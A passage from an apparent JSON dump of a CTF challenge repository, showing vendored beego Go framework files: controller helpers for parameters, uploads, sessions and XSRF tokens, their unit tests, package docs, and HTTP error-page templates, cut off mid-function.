GetStrings(key string, def ...[]string) []string {\n\tvar defv []string\n\tif len(def) > 0 {\n\t\tdefv = def[0]\n\t}\n\n\tif f := c.Input(); f == nil {\n\t\treturn defv\n\t} else if vs := f[key]; len(vs) > 0 {\n\t\treturn vs\n\t}\n\n\treturn defv\n}\n\n// GetInt returns input as an int or the default value while it's present and input is blank\nfunc (c *Controller) GetInt(key string, def ...int) (int, error) {\n\tstrv := c.Ctx.Input.Query(key)\n\tif len(strv) == 0 && len(def) > 0 {\n\t\treturn def[0], nil\n\t}\n\treturn strconv.Atoi(strv)\n}\n\n// GetInt8 return input as an int8 or the default value while it's present and input is blank\nfunc (c *Controller) GetInt8(key string, def ...int8) (int8, error) {\n\tstrv := c.Ctx.Input.Query(key)\n\tif len(strv) == 0 && len(def) > 0 {\n\t\treturn def[0], nil\n\t}\n\ti64, err := strconv.ParseInt(strv, 10, 8)\n\treturn int8(i64), err\n}\n\n// GetUint8 return input as an uint8 or the default value while it's present and input is blank\nfunc (c *Controller) GetUint8(key string, def ...uint8) (uint8, error) {\n\tstrv := c.Ctx.Input.Query(key)\n\tif len(strv) == 0 && len(def) > 0 {\n\t\treturn def[0], nil\n\t}\n\tu64, err := strconv.ParseUint(strv, 10, 8)\n\treturn uint8(u64), err\n}\n\n// GetInt16 returns input as an int16 or the default value while it's present and input is blank\nfunc (c *Controller) GetInt16(key string, def ...int16) (int16, error) {\n\tstrv := c.Ctx.Input.Query(key)\n\tif len(strv) == 0 && len(def) > 0 {\n\t\treturn def[0], nil\n\t}\n\ti64, err := strconv.ParseInt(strv, 10, 16)\n\treturn int16(i64), err\n}\n\n// GetUint16 returns input as an uint16 or the default value while it's present and input is blank\nfunc (c *Controller) GetUint16(key string, def ...uint16) (uint16, error) {\n\tstrv := c.Ctx.Input.Query(key)\n\tif len(strv) == 0 && len(def) > 0 {\n\t\treturn def[0], nil\n\t}\n\tu64, err := strconv.ParseUint(strv, 10, 16)\n\treturn uint16(u64), err\n}\n\n// GetInt32 returns input as an int32 or the default value while it's present and input is blank\nfunc (c *Controller) GetInt32(key string, def ...int32) (int32, error) {\n\tstrv := c.Ctx.Input.Query(key)\n\tif len(strv) == 0 && len(def) > 0 {\n\t\treturn def[0], nil\n\t}\n\ti64, err := strconv.ParseInt(strv, 10, 32)\n\treturn int32(i64), err\n}\n\n// GetUint32 returns input as an uint32 or the default value while it's present and input is blank\nfunc (c *Controller) GetUint32(key string, def ...uint32) (uint32, error) {\n\tstrv := c.Ctx.Input.Query(key)\n\tif len(strv) == 0 && len(def) > 0 {\n\t\treturn def[0], nil\n\t}\n\tu64, err := strconv.ParseUint(strv, 10, 32)\n\treturn uint32(u64), err\n}\n\n// GetInt64 returns input value as int64 or the default value while it's present and input is blank.\nfunc (c *Controller) GetInt64(key string, def ...int64) (int64, error) {\n\tstrv := c.Ctx.Input.Query(key)\n\tif len(strv) == 0 && len(def) > 0 {\n\t\treturn def[0], nil\n\t}\n\treturn strconv.ParseInt(strv, 10, 64)\n}\n\n// GetUint64 returns input value as uint64 or the default value while it's present and input is blank.\nfunc (c *Controller) GetUint64(key string, def ...uint64) (uint64, error) {\n\tstrv := c.Ctx.Input.Query(key)\n\tif len(strv) == 0 && len(def) > 0 {\n\t\treturn def[0], nil\n\t}\n\treturn strconv.ParseUint(strv, 10, 64)\n}\n\n// GetBool returns input value as bool or the default value while it's present and input is blank.\nfunc (c *Controller) GetBool(key string, def ...bool) (bool, error) {\n\tstrv := c.Ctx.Input.Query(key)\n\tif len(strv) == 0 && len(def) > 0 {\n\t\treturn def[0], nil\n\t}\n\treturn strconv.ParseBool(strv)\n}\n\n// GetFloat returns input value as float64 or the default value while it's present and input is blank.\nfunc (c *Controller) GetFloat(key string, def ...float64) (float64, error) {\n\tstrv := c.Ctx.Input.Query(key)\n\tif len(strv) == 0 && len(def) > 0 {\n\t\treturn def[0], nil\n\t}\n\treturn strconv.ParseFloat(strv, 64)\n}\n\n// GetFile returns the file data in file upload field named as key.\n// it returns the first one of multi-uploaded files.\nfunc (c *Controller) GetFile(key string) (multipart.File, *multipart.FileHeader, error) {\n\treturn c.Ctx.Request.FormFile(key)\n}\n\n// GetFiles return multi-upload files\n// files, err:=c.GetFiles(\"myfiles\")\n//\tif err != nil {\n//\t\thttp.Error(w, err.Error(), http.StatusNoContent)\n//\t\treturn\n//\t}\n// for i, _ := range files {\n//\t//for each fileheader, get a handle to the actual file\n//\tfile, err := files[i].Open()\n//\tdefer file.Close()\n//\tif err != nil {\n//\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n//\t\treturn\n//\t}\n//\t//create destination file making sure the path is writeable.\n//\tdst, err := os.Create(\"upload/\" + files[i].Filename)\n//\tdefer dst.Close()\n//\tif err != nil {\n//\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n//\t\treturn\n//\t}\n//\t//copy the uploaded file to the destination file\n//\tif _, err := io.Copy(dst, file); err != nil {\n//\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n//\t\treturn\n//\t}\n// }\nfunc (c *Controller) GetFiles(key string) ([]*multipart.FileHeader, error) {\n\tif files, ok := c.Ctx.Request.MultipartForm.File[key]; ok {\n\t\treturn files, nil\n\t}\n\treturn nil, http.ErrMissingFile\n}\n\n// SaveToFile saves uploaded file to new path.\n// it only operates the first one of mutil-upload form file field.\nfunc (c *Controller) SaveToFile(fromfile, tofile string) error {\n\tfile, _, err := c.Ctx.Request.FormFile(fromfile)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer file.Close()\n\tf, err := os.OpenFile(tofile, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0666)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\tio.Copy(f, file)\n\treturn nil\n}\n\n// StartSession starts session and load old session data info this controller.\nfunc (c *Controller) StartSession() session.Store {\n\tif c.CruSession == nil {\n\t\tc.CruSession = c.Ctx.Input.CruSession\n\t}\n\treturn c.CruSession\n}\n\n// SetSession puts value into session.\nfunc (c *Controller) SetSession(name interface{}, value interface{}) {\n\tif c.CruSession == nil {\n\t\tc.StartSession()\n\t}\n\tc.CruSession.Set(name, value)\n}\n\n// GetSession gets value from session.\nfunc (c *Controller) GetSession(name interface{}) interface{} {\n\tif c.CruSession == nil {\n\t\tc.StartSession()\n\t}\n\treturn c.CruSession.Get(name)\n}\n\n// DelSession removes value from session.\nfunc (c *Controller) DelSession(name interface{}) {\n\tif c.CruSession == nil {\n\t\tc.StartSession()\n\t}\n\tc.CruSession.Delete(name)\n}\n\n// SessionRegenerateID regenerates session id for this session.\n// the session data have no changes.\nfunc (c *Controller) SessionRegenerateID() {\n\tif c.CruSession != nil {\n\t\tc.CruSession.SessionRelease(c.Ctx.ResponseWriter)\n\t}\n\tc.CruSession = GlobalSessions.SessionRegenerateID(c.Ctx.ResponseWriter, c.Ctx.Request)\n\tc.Ctx.Input.CruSession = c.CruSession\n}\n\n// DestroySession cleans session data and session cookie.\nfunc (c *Controller) DestroySession() {\n\tc.Ctx.Input.CruSession.Flush()\n\tc.Ctx.Input.CruSession = nil\n\tGlobalSessions.SessionDestroy(c.Ctx.ResponseWriter, c.Ctx.Request)\n}\n\n// IsAjax returns this request is ajax or not.\nfunc (c *Controller) IsAjax() bool {\n\treturn c.Ctx.Input.IsAjax()\n}\n\n// GetSecureCookie returns decoded cookie value from encoded browser cookie values.\nfunc (c *Controller) GetSecureCookie(Secret, key string) (string, bool) {\n\treturn c.Ctx.GetSecureCookie(Secret, key)\n}\n\n// SetSecureCookie puts value into cookie after encoded the value.\nfunc (c *Controller) SetSecureCookie(Secret, name, value string, others ...interface{}) {\n\tc.Ctx.SetSecureCookie(Secret, name, value, others...)\n}\n\n// XSRFToken creates a CSRF token string and returns.\nfunc (c *Controller) XSRFToken() string {\n\tif c._xsrfToken == \"\" {\n\t\texpire := int64(BConfig.WebConfig.XSRFExpire)\n\t\tif c.XSRFExpire > 0 {\n\t\t\texpire = int64(c.XSRFExpire)\n\t\t}\n\t\tc._xsrfToken = c.Ctx.XSRFToken(BConfig.WebConfig.XSRFKey, expire)\n\t}\n\treturn c._xsrfToken\n}\n\n// CheckXSRFCookie checks xsrf token in this request is valid or not.\n// the token can provided in request header \"X-Xsrftoken\" and \"X-CsrfToken\"\n// or in form field value named as \"_xsrf\".\nfunc (c *Controller) CheckXSRFCookie() bool {\n\tif !c.EnableXSRF {\n\t\treturn true\n\t}\n\treturn c.Ctx.CheckXSRFCookie()\n}\n\n// XSRFFormHTML writes an input field contains xsrf token value.\nfunc (c *Controller) XSRFFormHTML() string {\n\treturn `<input type=\"hidden\" name=\"_xsrf\" value=\"` +\n\t\tc.XSRFToken() + `\" />`\n}\n\n// GetControllerAndAction gets the executing controller name and action name.\nfunc (c *Controller) GetControllerAndAction() (string, string) {\n\treturn c.controllerName, c.actionName\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/controller_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"math\"\n\t\"strconv\"\n\t\"testing\"\n\n\t\"github.com/astaxie/beego/context\"\n\t\"os\"\n\t\"path/filepath\"\n)\n\nfunc TestGetInt(t *testing.T) {\n\ti := context.NewInput()\n\ti.SetParam(\"age\", \"40\")\n\tctx := &context.Context{Input: i}\n\tctrlr := Controller{Ctx: ctx}\n\tval, _ := ctrlr.GetInt(\"age\")\n\tif val != 40 {\n\t\tt.Errorf(\"TestGetInt expect 40,get %T,%v\", val, val)\n\t}\n}\n\nfunc TestGetInt8(t *testing.T) {\n\ti := context.NewInput()\n\ti.SetParam(\"age\", \"40\")\n\tctx := &context.Context{Input: i}\n\tctrlr := Controller{Ctx: ctx}\n\tval, _ := ctrlr.GetInt8(\"age\")\n\tif val != 40 {\n\t\tt.Errorf(\"TestGetInt8 expect 40,get %T,%v\", val, val)\n\t}\n\t//Output: int8\n}\n\nfunc TestGetInt16(t *testing.T) {\n\ti := context.NewInput()\n\ti.SetParam(\"age\", \"40\")\n\tctx := &context.Context{Input: i}\n\tctrlr := Controller{Ctx: ctx}\n\tval, _ := ctrlr.GetInt16(\"age\")\n\tif val != 40 {\n\t\tt.Errorf(\"TestGetInt16 expect 40,get %T,%v\", val, val)\n\t}\n}\n\nfunc TestGetInt32(t *testing.T) {\n\ti := context.NewInput()\n\ti.SetParam(\"age\", \"40\")\n\tctx := &context.Context{Input: i}\n\tctrlr := Controller{Ctx: ctx}\n\tval, _ := ctrlr.GetInt32(\"age\")\n\tif val != 40 {\n\t\tt.Errorf(\"TestGetInt32 expect 40,get %T,%v\", val, val)\n\t}\n}\n\nfunc TestGetInt64(t *testing.T) {\n\ti := context.NewInput()\n\ti.SetParam(\"age\", \"40\")\n\tctx := &context.Context{Input: i}\n\tctrlr := Controller{Ctx: ctx}\n\tval, _ := ctrlr.GetInt64(\"age\")\n\tif val != 40 {\n\t\tt.Errorf(\"TestGeetInt64 expect 40,get %T,%v\", val, val)\n\t}\n}\n\nfunc TestGetUint8(t *testing.T) {\n\ti := context.NewInput()\n\ti.SetParam(\"age\", strconv.FormatUint(math.MaxUint8, 10))\n\tctx := &context.Context{Input: i}\n\tctrlr := Controller{Ctx: ctx}\n\tval, _ := ctrlr.GetUint8(\"age\")\n\tif val != math.MaxUint8 {\n\t\tt.Errorf(\"TestGetUint8 expect %v,get %T,%v\", math.MaxUint8, val, val)\n\t}\n}\n\nfunc TestGetUint16(t *testing.T) {\n\ti := context.NewInput()\n\ti.SetParam(\"age\", strconv.FormatUint(math.MaxUint16, 10))\n\tctx := &context.Context{Input: i}\n\tctrlr := Controller{Ctx: ctx}\n\tval, _ := ctrlr.GetUint16(\"age\")\n\tif val != math.MaxUint16 {\n\t\tt.Errorf(\"TestGetUint16 expect %v,get %T,%v\", math.MaxUint16, val, val)\n\t}\n}\n\nfunc TestGetUint32(t *testing.T) {\n\ti := context.NewInput()\n\ti.SetParam(\"age\", strconv.FormatUint(math.MaxUint32, 10))\n\tctx := &context.Context{Input: i}\n\tctrlr := Controller{Ctx: ctx}\n\tval, _ := ctrlr.GetUint32(\"age\")\n\tif val != math.MaxUint32 {\n\t\tt.Errorf(\"TestGetUint32 expect %v,get %T,%v\", math.MaxUint32, val, val)\n\t}\n}\n\nfunc TestGetUint64(t *testing.T) {\n\ti := context.NewInput()\n\ti.SetParam(\"age\", strconv.FormatUint(math.MaxUint64, 10))\n\tctx := &context.Context{Input: i}\n\tctrlr := Controller{Ctx: ctx}\n\tval, _ := ctrlr.GetUint64(\"age\")\n\tif val != math.MaxUint64 {\n\t\tt.Errorf(\"TestGetUint64 expect %v,get %T,%v\", uint64(math.MaxUint64), val, val)\n\t}\n}\n\nfunc TestAdditionalViewPaths(t *testing.T) {\n\tdir1 := \"_beeTmp\"\n\tdir2 := \"_beeTmp2\"\n\tdefer os.RemoveAll(dir1)\n\tdefer os.RemoveAll(dir2)\n\n\tdir1file := \"file1.tpl\"\n\tdir2file := \"file2.tpl\"\n\n\tgenFile := func(dir string, name string, content string) {\n\t\tos.MkdirAll(filepath.Dir(filepath.Join(dir, name)), 0777)\n\t\tif f, err := os.Create(filepath.Join(dir, name)); err != nil {\n\t\t\tt.Fatal(err)\n\t\t} else {\n\t\t\tdefer f.Close()\n\t\t\tf.WriteString(content)\n\t\t\tf.Close()\n\t\t}\n\n\t}\n\tgenFile(dir1, dir1file, `<div>{{.Content}}</div>`)\n\tgenFile(dir2, dir2file, `<html>{{.Content}}</html>`)\n\n\tAddViewPath(dir1)\n\tAddViewPath(dir2)\n\n\tctrl := Controller{\n\t\tTplName:  \"file1.tpl\",\n\t\tViewPath: dir1,\n\t}\n\tctrl.Data = map[interface{}]interface{}{\n\t\t\"Content\": \"value2\",\n\t}\n\tif result, err := ctrl.RenderString(); err != nil {\n\t\tt.Fatal(err)\n\t} else {\n\t\tif result != \"<div>value2</div>\" {\n\t\t\tt.Fatalf(\"TestAdditionalViewPaths expect %s got %s\", \"<div>value2</div>\", result)\n\t\t}\n\t}\n\n\tfunc() {\n\t\tctrl.TplName = \"file2.tpl\"\n\t\tdefer func() {\n\t\t\tif r := recover(); r == nil {\n\t\t\t\tt.Fatal(\"TestAdditionalViewPaths expected error\")\n\t\t\t}\n\t\t}()\n\t\tctrl.RenderString()\n\t}()\n\n\tctrl.TplName = \"file2.tpl\"\n\tctrl.ViewPath = dir2\n\tctrl.RenderString()\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/doc.go",
    "content": "/*\nPackage beego provide a MVC framework\nbeego: an open-source, high-performance, modular, full-stack web framework\n\nIt is used for rapid development of RESTful APIs, web apps and backend services in Go.\nbeego is inspired by Tornado, Sinatra and Flask with the added benefit of some Go-specific features such as interfaces and struct embedding.\n\n\tpackage main\n\timport \"github.com/astaxie/beego\"\n\n\tfunc main() {\n\t beego.Run()\n\t}\n\nmore information: http://beego.me\n*/\npackage beego\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/error.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"fmt\"\n\t\"html/template\"\n\t\"net/http\"\n\t\"reflect\"\n\t\"runtime\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/astaxie/beego/context\"\n\t\"github.com/astaxie/beego/utils\"\n)\n\nconst (\n\terrorTypeHandler = iota\n\terrorTypeController\n)\n\nvar tpl = `\n<!DOCTYPE html>\n<html>\n<head>\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n    <title>beego application error</title>\n    <style>\n        html, body, body * {padding: 0; margin: 0;}\n        #header {background:#ffd; border-bottom:solid 2px #A31515; padding: 20px 10px;}\n        #header h2{ }\n        #footer {border-top:solid 1px #aaa; padding: 5px 10px; font-size: 12px; color:green;}\n        #content {padding: 5px;}\n        #content .stack b{ font-size: 13px; color: red;}\n        #content .stack pre{padding-left: 10px;}\n        table {}\n        td.t {text-align: right; padding-right: 5px; color: #888;}\n    </style>\n    <script type=\"text/javascript\">\n    </script>\n</head>\n<body>\n    <div id=\"header\">\n        <h2>{{.AppError}}</h2>\n    </div>\n    <div id=\"content\">\n        <table>\n            <tr>\n                <td class=\"t\">Request Method: </td><td>{{.RequestMethod}}</td>\n            </tr>\n            <tr>\n                <td class=\"t\">Request URL: </td><td>{{.RequestURL}}</td>\n            </tr>\n            <tr>\n                <td class=\"t\">RemoteAddr: </td><td>{{.RemoteAddr }}</td>\n            </tr>\n        </table>\n        <div class=\"stack\">\n            <b>Stack</b>\n            <pre>{{.Stack}}</pre>\n        </div>\n    </div>\n    <div id=\"footer\">\n        <p>beego {{ .BeegoVersion }} (beego framework)</p>\n        <p>golang version: {{.GoVersion}}</p>\n    </div>\n</body>\n</html>\n`\n\n// render default application error page with error and stack string.\nfunc showErr(err interface{}, ctx *context.Context, stack string) {\n\tt, _ := template.New(\"beegoerrortemp\").Parse(tpl)\n\tdata := map[string]string{\n\t\t\"AppError\":      fmt.Sprintf(\"%s:%v\", BConfig.AppName, err),\n\t\t\"RequestMethod\": ctx.Input.Method(),\n\t\t\"RequestURL\":    ctx.Input.URI(),\n\t\t\"RemoteAddr\":    ctx.Input.IP(),\n\t\t\"Stack\":         stack,\n\t\t\"BeegoVersion\":  VERSION,\n\t\t\"GoVersion\":     runtime.Version(),\n\t}\n\tif ctx.Output.Status != 0 {\n\t\tctx.ResponseWriter.WriteHeader(ctx.Output.Status)\n\t} else {\n\t\tctx.ResponseWriter.WriteHeader(500)\n\t}\n\tt.Execute(ctx.ResponseWriter, data)\n}\n\nvar errtpl = `\n<!DOCTYPE html>\n<html lang=\"en\">\n\t<head>\n\t\t<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n\t\t<title>{{.Title}}</title>\n\t\t<style type=\"text/css\">\n\t\t\t* {\n\t\t\t\tmargin:0;\n\t\t\t\tpadding:0;\n\t\t\t}\n\n\t\t\tbody {\n\t\t\t\tbackground-color:#EFEFEF;\n\t\t\t\tfont: .9em \"Lucida Sans Unicode\", \"Lucida Grande\", sans-serif;\n\t\t\t}\n\n\t\t\t#wrapper{\n\t\t\t\twidth:600px;\n\t\t\t\tmargin:40px auto 0;\n\t\t\t\ttext-align:center;\n\t\t\t\t-moz-box-shadow: 5px 5px 10px rgba(0,0,0,0.3);\n\t\t\t\t-webkit-box-shadow: 5px 5px 10px rgba(0,0,0,0.3);\n\t\t\t\tbox-shadow: 5px 5px 10px rgba(0,0,0,0.3);\n\t\t\t}\n\n\t\t\t#wrapper h1{\n\t\t\t\tcolor:#FFF;\n\t\t\t\ttext-align:center;\n\t\t\t\tmargin-bottom:20px;\n\t\t\t}\n\n\t\t\t#wrapper a{\n\t\t\t\tdisplay:block;\n\t\t\t\tfont-size:.9em;\n\t\t\t\tpadding-top:20px;\n\t\t\t\tcolor:#FFF;\n\t\t\t\ttext-decoration:none;\n\t\t\t\ttext-align:center;\n\t\t\t}\n\n\t\t\t#container {\n\t\t\t\twidth:600px;\n\t\t\t\tpadding-bottom:15px;\n\t\t\t\tbackground-color:#FFFFFF;\n\t\t\t}\n\n\t\t\t.navtop{\n\t\t\t\theight:40px;\n\t\t\t\tbackground-color:#24B2EB;\n\t\t\t\tpadding:13px;\n\t\t\t}\n\n\t\t\t.content {\n\t\t\t\tpadding:10px 10px 25px;\n\t\t\t\tbackground: #FFFFFF;\n\t\t\t\tmargin:;\n\t\t\t\tcolor:#333;\n\t\t\t}\n\n\t\t\ta.button{\n\t\t\t\tcolor:white;\n\t\t\t\tpadding:15px 20px;\n\t\t\t\ttext-shadow:1px 1px 0 #00A5FF;\n\t\t\t\tfont-weight:bold;\n\t\t\t\ttext-align:center;\n\t\t\t\tborder:1px solid #24B2EB;\n\t\t\t\tmargin:0px 200px;\n\t\t\t\tclear:both;\n\t\t\t\tbackground-color: #24B2EB;\n\t\t\t\tborder-radius:100px;\n\t\t\t\t-moz-border-radius:100px;\n\t\t\t\t-webkit-border-radius:100px;\n\t\t\t}\n\n\t\t\ta.button:hover{\n\t\t\t\ttext-decoration:none;\n\t\t\t\tbackground-color: #24B2EB;\n\t\t\t}\n\n\t\t</style>\n\t</head>\n\t<body>\n\t\t<div id=\"wrapper\">\n\t\t\t<div id=\"container\">\n\t\t\t\t<div class=\"navtop\">\n\t\t\t\t\t<h1>{{.Title}}</h1>\n\t\t\t\t</div>\n\t\t\t\t<div id=\"content\">\n\t\t\t\t\t{{.Content}}\n\t\t\t\t\t<a href=\"/\" title=\"Home\" class=\"button\">Go Home</a><br />\n\n\t\t\t\t\t<br>Powered by beego {{.BeegoVersion}}\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t</body>\n</html>\n`\n\ntype errorInfo struct {\n\tcontrollerType reflect.Type\n\thandler        http.HandlerFunc\n\tmethod         string\n\terrorType      int\n}\n\n// ErrorMaps holds map of http handlers for each error string.\n// there is 10 kinds default error(40x and 50x)\nvar ErrorMaps = make(map[string]*errorInfo, 10)\n\n// show 401 unauthorized error.\nfunc unauthorized(rw http.ResponseWriter, r *http.Request) {\n\tresponseError(rw, r,\n\t\t401,\n\t\t\"<br>The page you have requested can't be authorized.\"+\n\t\t\t\"<br>Perhaps you are here because:\"+\n\t\t\t\"<br><br><ul>\"+\n\t\t\t\"<br>The credentials you supplied are incorrect\"+\n\t\t\t\"<br>There are errors in the website address\"+\n\t\t\t\"</ul>\",\n\t)\n}\n\n// show 402 Payment Required\nfunc paymentRequired(rw http.ResponseWriter, r *http.Request) {\n\tresponseError(rw, r,\n\t\t402,\n\t\t\"<br>The page you have requested Payment Required.\"+\n\t\t\t\"<br>Perhaps you are here because:\"+\n\t\t\t\"<br><br><ul>\"+\n\t\t\t\"<br>The credentials you supplied are incorrect\"+\n\t\t\t\"<br>There are errors in the website address\"+\n\t\t\t\"</ul>\",\n\t)\n}\n\n// show 403 forbidden error.\nfunc forbidden(rw http.ResponseWriter, r *http.Request) {\n\tresponseError(rw, r,\n\t\t403,\n\t\t\"<br>The page you have requested is forbidden.\"+\n\t\t\t\"<br>Perhaps you are here because:\"+\n\t\t\t\"<br><br><ul>\"+\n\t\t\t\"<br>Your address may be blocked\"+\n\t\t\t\"<br>The site may be disabled\"+\n\t\t\t\"<br>You need to log in\"+\n\t\t\t\"</ul>\",\n\t)\n}\n\n// show 422 missing xsrf token\nfunc missingxsrf(rw http.ResponseWriter, r *http.Request) {\n\tresponseError(rw, r,\n\t\t422,\n\t\t\"<br>The page you have requested is forbidden.\"+\n\t\t\t\"<br>Perhaps you are here because:\"+\n\t\t\t\"<br><br><ul>\"+\n\t\t\t\"<br>'_xsrf' argument missing from POST\"+\n\t\t\t\"</ul>\",\n\t)\n}\n\n// show 417 invalid xsrf token\nfunc invalidxsrf(rw http.ResponseWriter, r *http.Request) {\n\tresponseError(rw, r,\n\t\t417,\n\t\t\"<br>The page you have requested is forbidden.\"+\n\t\t\t\"<br>Perhaps you are here because:\"+\n\t\t\t\"<br><br><ul>\"+\n\t\t\t\"<br>expected XSRF not found\"+\n\t\t\t\"</ul>\",\n\t)\n}\n\n// show 404 not found error.\nfunc notFound(rw http.ResponseWriter, r *http.Request) {\n\tresponseError(rw, r,\n\t\t404,\n\t\t\"<br>The page you have requested has flown the coop.\"+\n\t\t\t\"<br>Perhaps you are here because:\"+\n\t\t\t\"<br><br><ul>\"+\n\t\t\t\"<br>The page has moved\"+\n\t\t\t\"<br>The page no longer exists\"+\n\t\t\t\"<br>You were looking for your puppy and got lost\"+\n\t\t\t\"<br>You like 404 pages\"+\n\t\t\t\"</ul>\",\n\t)\n}\n\n// show 405 Method Not Allowed\nfunc methodNotAllowed(rw http.ResponseWriter, r *http.Request) {\n\tresponseError(rw, r,\n\t\t405,\n\t\t\"<br>The method you have requested Not Allowed.\"+\n\t\t\t\"<br>Perhaps you are here because:\"+\n\t\t\t\"<br><br><ul>\"+\n\t\t\t\"<br>The method specified in the Request-Line is not allowed for the resource identified by the Request-URI\"+\n\t\t\t\"<br>The response MUST include an Allow header containing a list of valid methods for the requested resource.\"+\n\t\t\t\"</ul>\",\n\t)\n}\n\n// show 500 internal server error.\nfunc internalServerError(rw http.ResponseWriter, r *http.Request) {\n\tresponseError(rw, r,\n\t\t500,\n\t\t\"<br>The page you have requested is down right now.\"+\n\t\t\t\"<br><br><ul>\"+\n\t\t\t\"<br>Please try again later and report the error to the website administrator\"+\n\t\t\t\"<br></ul>\",\n\t)\n}\n\n// show 501 Not Implemented.\nfunc notImplemented(rw http.ResponseWriter, r *http.Request) {\n\tresponseError(rw, r,\n\t\t501,\n\t\t\"<br>The page you have requested is Not Implemented.\"+\n\t\t\t\"<br><br><ul>\"+\n\t\t\t\"<br>Please try again later and report the error to the website administrator\"+\n\t\t\t\"<br></ul>\",\n\t)\n}\n\n// show 502 Bad Gateway.\nfunc badGateway(rw http.ResponseWriter, r *http.Request) {\n\tresponseError(rw, r,\n\t\t502,\n\t\t\"<br>The page you have requested is down right now.\"+\n\t\t\t\"<br><br><ul>\"+\n\t\t\t\"<br>The server, while acting as a gateway or proxy, received an invalid response from the upstream server it accessed in attempting to fulfill the request.\"+\n\t\t\t\"<br>Please try again later and report the error to the website administrator\"+\n\t\t\t\"<br></ul>\",\n\t)\n}\n\n// show 503 service unavailable error.\nfunc serviceUnavailable(rw http.ResponseWriter, r *http.Request) {\n\tresponseError(rw, r,\n\t\t503,\n\t\t\"<br>The page you have requested is unavailable.\"+\n\t\t\t\"<br>Perhaps you are here because:\"+\n\t\t\t\"<br><br><ul>\"+\n\t\t\t\"<br><br>The page is overloaded\"+\n\t\t\t\"<br>Please try again later.\"+\n\t\t\t\"</ul>\",\n\t)\n}\n\n// show 504 Gateway Timeout.\nfunc gatewayTimeout(rw http.ResponseWriter, r *http.Request) {\n\tresponseError(rw, r,\n\t\t504,\n\t\t\"<br>The page you have requested is unavailable\"+\n\t\t\t\"<br>Perhaps you are here because:\"+\n\t\t\t\"<br><br><ul>\"+\n\t\t\t\"<br><br>The server, while acting as a gateway or proxy, did not receive a timely response from the upstream server specified by the URI.\"+\n\t\t\t\"<br>Please try again later.\"+\n\t\t\t\"</ul>\",\n\t)\n}\n\nfunc responseError(rw http.ResponseWriter, r *http.Request, errCode int, errContent string) {\n\tt, _ := template.New(\"beegoerrortemp\").Parse(errtpl)\n\tdata := map[string]interface{}{\n\t\t\"Title\":        http.StatusText(errCode),\n\t\t\"BeegoVersion\": VERSION,\n\t\t\"Content\":      template.HTML(errContent),\n\t}\n\tt.Execute(rw, data)\n}\n\n// ErrorHandler registers http.HandlerFunc to each http err code string.\n// usage:\n// \tbeego.ErrorHandler(\"404\",NotFound)\n//\tbeego.ErrorHandler(\"500\",InternalServerError)\nfunc ErrorHandler(code string, h http.HandlerFunc) *App {\n\tErrorMaps[code] = &errorInfo{\n\t\terrorType: errorTypeHandler,\n\t\thandler:   h,\n\t\tmethod:    code,\n\t}\n\treturn BeeApp\n}\n\n// ErrorController registers ControllerInterface to each http err code string.\n// usage:\n// \tbeego.ErrorController(&controllers.ErrorController{})\nfunc ErrorController(c ControllerInterface) *App {\n\treflectVal := reflect.ValueOf(c)\n\trt := reflectVal.Type()\n\tct := reflect.Indirect(reflectVal).Type()\n\tfor i := 0; i < rt.NumMethod(); i++ {\n\t\tmethodName := rt.Method(i).Name\n\t\tif !utils.InSlice(methodName, exceptMethod) && strings.HasPrefix(methodName, \"Error\") {\n\t\t\terrName := strings.TrimPrefix(methodName, \"Error\")\n\t\t\tErrorMaps[errName] = &errorInfo{\n\t\t\t\terrorType:      errorTypeController,\n\t\t\t\tcontrollerType: ct,\n\t\t\t\tmethod:         methodName,\n\t\t\t}\n\t\t}\n\t}\n\treturn BeeApp\n}\n\n// Exception Write HttpStatus with errCode and Exec error handler if exist.\nfunc Exception(errCode uint64, ctx *context.Context) {\n\texception(strconv.FormatUint(errCode, 10), ctx)\n}\n\n// show error string as simple text message.\n// if error string is empty, show 503 or 500 error as default.\nfunc exception(errCode string, ctx *context.Context) {\n\tatoi := func(code string) int {\n\t\tv, err := strconv.Atoi(code)\n\t\tif err == nil {\n\t\t\treturn v\n\t\t}\n\t\tif ctx.Output.Status == 0 {\n\t\t\treturn 503\n\t\t}\n\t\treturn ctx.Output.Status\n\t}\n\n\tfor _, ec := range []string{errCode, \"503\", \"500\"} {\n\t\tif h, ok := ErrorMaps[ec]; ok {\n\t\t\texecuteError(h, ctx, atoi(ec))\n\t\t\treturn\n\t\t}\n\t}\n\t//if 50x error has been removed from errorMap\n\tctx.ResponseWriter.WriteHeader(atoi(errCode))\n\tctx.WriteString(errCode)\n}\n\nfunc executeError(err *errorInfo, ctx *context.Context, code int) {\n\tif err.errorType == errorTypeHandler 